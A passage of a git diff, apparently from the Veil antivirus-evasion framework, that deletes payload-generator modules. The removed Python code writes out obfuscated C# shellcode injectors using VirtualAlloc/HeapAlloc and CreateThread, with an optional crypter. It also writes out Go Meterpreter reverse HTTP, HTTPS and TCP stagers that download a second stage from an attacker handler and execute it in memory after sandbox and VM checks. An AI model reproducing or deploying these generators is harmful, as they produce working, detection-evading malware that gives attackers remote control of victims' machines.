System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (namespaceName, className) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - payload_code += "static void Main() {\n" - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - num_tabs_required += 2 - - payload_code += '\t' * num_tabs_required + "string %s = System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(\"%s\"));\n" % (bytearrayName, Shellcode) - - payload_code += '\t' * num_tabs_required + "string[] chars = %s.Split(',').ToArray();\n" %(bytearrayName) - payload_code += '\t' * num_tabs_required + "byte[] %s = new byte[chars.Length];\n" %(shellcodeName) - payload_code += '\t' * num_tabs_required + "for (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n" %(shellcodeName) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, shellcodeName) - payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (shellcodeName, funcAddrName, shellcodeName) - payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) - payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out) - payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out) - payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - rand_heap = evasion_helpers.randomString() - rand_ptr = evasion_helpers.randomString() - rand_var = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var) - payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var) - payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName) - - - while (num_tabs_required != 0): - payload_code += '\t' * num_tabs_required + '}' - num_tabs_required -= 1 - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/shellcode_inject/virtual.py b/Tools/Evasion/payloads/cs/shellcode_inject/virtual.py deleted file mode 100644 index bf17545..0000000 --- a/Tools/Evasion/payloads/cs/shellcode_inject/virtual.py +++ /dev/null @@ -1,136 +0,0 @@ -""" -C# inline shellcode injector using the VirtualAlloc()/CreateThread() pattern. -Uses basic variable renaming obfuscation. - -Adapated from code from: - http://webstersprodigy.net/2012/08/31/av-evading-meterpreter-shell-from-a-net-service/ - -Module built by @harmj0y -Updated for Veil 3 by @evan_pena2003 -""" - -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.language = "cs" - self.extension = "cs" - self.rating = "Poor" - self.description = "C# VirtualAlloc method for inline shellcode injection" - self.name = "C# Flat Shellcode Injector" - self.path = "cs/shellcode_inject/virtual" - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) - - # randomize all our variable names, yo' - namespaceName = evasion_helpers.randomString() - className = evasion_helpers.randomString() - bytearrayName = evasion_helpers.randomString() - funcAddrName = evasion_helpers.randomString() - - hThreadName = evasion_helpers.randomString() - threadIdName = evasion_helpers.randomString() - pinfoName = evasion_helpers.randomString() - rand_bool = evasion_helpers.randomString() - random_out = evasion_helpers.randomString() - num_tabs_required = 0 - - # get 12 random variables for the API imports - r = [evasion_helpers.randomString() for x in range(16)] - y = [evasion_helpers.randomString() for x in range(17)] - - #required syntax at the beginning of any/all payloads - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (namespaceName, className) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - payload_code += "static void Main() {\n" - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - num_tabs_required += 2 - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (bytearrayName, Shellcode) - - payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, bytearrayName) - payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName) - payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) - payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out) - payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out) - payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName) - # payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - rand_heap = evasion_helpers.randomString() - rand_ptr = evasion_helpers.randomString() - rand_var = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % (bytearrayName, Shellcode) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var) - payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var) - payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName) - - - while (num_tabs_required != 0): - payload_code += '\t' * num_tabs_required + '}' - num_tabs_required -= 1 - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/meterpreter/rev_http.py b/Tools/Evasion/payloads/go/meterpreter/rev_http.py deleted file mode 100644 index a26ddce..0000000 --- a/Tools/Evasion/payloads/go/meterpreter/rev_http.py +++ /dev/null @@ -1,172 +0,0 @@ -""" -Custom-written pure go meterpreter/reverse_http stager - -Module built by @b00stfr3ak44 -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from random import randint - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.name = "Pure Golang Reverse HTTP Stager" - self.path = "go/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["80", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - base64Url = evasion_helpers.randomString() - size = evasion_helpers.randomString() - err = evasion_helpers.randomString() - randBase = evasion_helpers.randomString() - length = evasion_helpers.randomString() - foo = evasion_helpers.randomString() - random = evasion_helpers.randomString() - outp = evasion_helpers.randomString() - i = evasion_helpers.randomString() - randTextBase64URL = evasion_helpers.randomString() - getURI = evasion_helpers.randomString() - sumVar = evasion_helpers.randomString() - checksum8 = evasion_helpers.randomString() - uri = evasion_helpers.randomString() - value = evasion_helpers.randomString() - hostAndPort = evasion_helpers.randomString() - port = self.required_options["LPORT"][0] - host = self.required_options["LHOST"][0] - response = evasion_helpers.randomString() - uriLength = randint(5, 255) - payload = evasion_helpers.randomString() - bufferVar = evasion_helpers.randomString() - x = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - allocvarout = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - errorvariabledos = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" - payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n" - - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - - payload_code += ")\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x40\n)\n" % (pageExecRW) - - payload_code += "var (\n" - payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) - payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) - payload_code += "var %s []byte\n" % (outp) - payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) - payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) - payload_code += "return string(%s)\n}\n" % (outp) - - payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) - payload_code += "%s := []byte(%s)\n" % (foo, base64Url) - payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) - - payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) - payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) - payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) - payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) - - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - payload_code += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port) - payload_code += "%s, _ := http.Get(%s + %s(92, %s))\n" % (response, hostAndPort, getURI, uriLength) - payload_code += "defer %s.Body.Close()\n" % (response) - payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) - payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) - payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) - payload_code += "for %s, %s := range %s {\n" % (x, value, payload) - payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout) - payload_code += '}' * num_curlys - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/meterpreter/rev_https.py b/Tools/Evasion/payloads/go/meterpreter/rev_https.py deleted file mode 100644 index 6477b37..0000000 --- a/Tools/Evasion/payloads/go/meterpreter/rev_https.py +++ /dev/null @@ -1,185 +0,0 @@ -""" -Custom-written pure go meterpreter/reverse_https stager - -Module built by @b00stfr3ak44 -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from random import randint - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.name = "Pure Golang Reverse HTTPS Stager" - self.path = "go/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["80", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - base64Url = evasion_helpers.randomString() - virtualAlloc = evasion_helpers.randomString() - size = evasion_helpers.randomString() - allocvarout = evasion_helpers.randomString() - err = evasion_helpers.randomString() - randBase = evasion_helpers.randomString() - length = evasion_helpers.randomString() - foo = evasion_helpers.randomString() - random = evasion_helpers.randomString() - outp = evasion_helpers.randomString() - i = evasion_helpers.randomString() - randTextBase64URL = evasion_helpers.randomString() - getURI = evasion_helpers.randomString() - sumVar = evasion_helpers.randomString() - checksum8 = evasion_helpers.randomString() - uri = evasion_helpers.randomString() - value = evasion_helpers.randomString() - tr = evasion_helpers.randomString() - client = evasion_helpers.randomString() - hostAndPort = evasion_helpers.randomString() - port = self.required_options["LPORT"][0] - host = self.required_options["LHOST"][0] - response = evasion_helpers.randomString() - uriLength = randint(5, 255) - payload = evasion_helpers.randomString() - bufferVar = evasion_helpers.randomString() - x = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - errorvariabledos = evasion_helpers.randomString() - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - # Todo: randomize import order - payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" - payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n\"crypto/tls\"\n" - - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["UTCCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - if self.required_options["CURSORCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - - payload_code += ")\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x40\n)\n" % (pageExecRW) - - payload_code += "var (\n" - payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) - payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) - payload_code += "var %s []byte\n" % (outp) - payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) - payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) - payload_code += "return string(%s)\n}\n" % (outp) - - payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) - payload_code += "%s := []byte(%s)\n" % (foo, base64Url) - payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) - - payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) - payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) - payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) - payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) - - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - payload_code += "%s := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n" %(tr) - payload_code += "%s := http.Client{Transport: %s}\n" % (client, tr) - payload_code += "%s := \"https://%s:%s\"\n" % (hostAndPort, host, port) - payload_code += "%s, _ := %s.Get(%s + %s(92, %s))\n" % (response, client, hostAndPort, getURI, uriLength) - payload_code += "defer %s.Body.Close()\n" % (response) - payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) - payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) - payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) - payload_code += "for %s, %s := range %s {\n" %(x, value, payload) - payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout) - payload_code += '}' * num_curlys - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/go/meterpreter/rev_tcp.py deleted file mode 100644 index afb5bc2..0000000 --- a/Tools/Evasion/payloads/go/meterpreter/rev_tcp.py +++ /dev/null @@ -1,179 +0,0 @@ -""" -Custom-written pure go meterpreter/reverse_tcp stager - -Module built by @b00stfr3ak44 -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.name = "Pure Golang Reverse TCP Stager" - self.path = "go/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the 